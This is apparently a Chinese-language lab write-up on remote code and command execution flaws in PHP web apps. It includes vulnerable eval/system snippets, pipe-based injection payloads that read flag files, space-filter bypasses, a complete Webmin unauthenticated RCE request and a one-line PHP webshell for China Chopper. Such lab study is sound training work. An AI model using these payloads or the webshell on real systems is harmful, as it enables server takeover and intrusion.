在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。
RCE(remote command/code execute)漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
靶场:bikachu
if(isset($_POST['submit']) && $_POST['txt'] != null){
if(@!eval($_POST['txt'])){
$html.="你喜欢的字符还挺奇怪的!
";
}
}
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器,现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。
执行外部程序,并且显示输出
$code=$_GET['x'];
echo system($code) //x=ipconfig x=ver x=cd
php中shell_exec() 与 exec()函数的区别
靶场:bikachu
ping 127.0.0.1
利用管道符|输出别的内容
cd是查看当前目录文件夹名
靶场:命令注入执行分析
可执行ping命令
输入命令 127.0.0.1|ls
禁用本地js
输入 127.0.0.1|cat key_296172863019530.php
不回显,考虑绕过空格
linux绕过空格
cat flag.txt
cat${
IFS}flag.txt
cat$<flag.txt
cat$<>flag.txt
Linux ls 命令
Linux ls(英文全拼:list files)命令用于显示指定工作目录下之内容(列出目前工作目录所含之文件及子目录)。
Linux cat 命令
cat(英文全拼:concatenate)命令用于连接文件并打印到标准输出设备上。
Linux tac 命令
tac命令就是将文件反向输出,刚好和cat输出相反。
Linux echo 命令
echo命令是一个内置在Bash中的shell,通常用于shell脚本中以显示消息或输出其他命令的结果。
靶场:PHP代码分析溯源
页面显示如下
将此php放入php运行下
可以知道,传递方式为request,参数为a
?a=ls
?a=tac<key_238041834025406.php
靶场:Webmin未经身份验证的远程代码执行
搜索webmin,存在代码执行漏洞
exp
POST /password_change.cgi HTTP/1.1
Host: 219.153.49.228:41273
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: http://219.153.49.228:41273/password_change.cgi/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
cache-control: no-cache
user=rootxx&pam=&expired=2&old=ls&new1=test2&new2=test2
成功
一句话 Webshell 后门原理代码执行-拓展说明
将一句话木马
<?php
eval($_POST['x']);
>
然后利用中国菜刀连接此脚本即可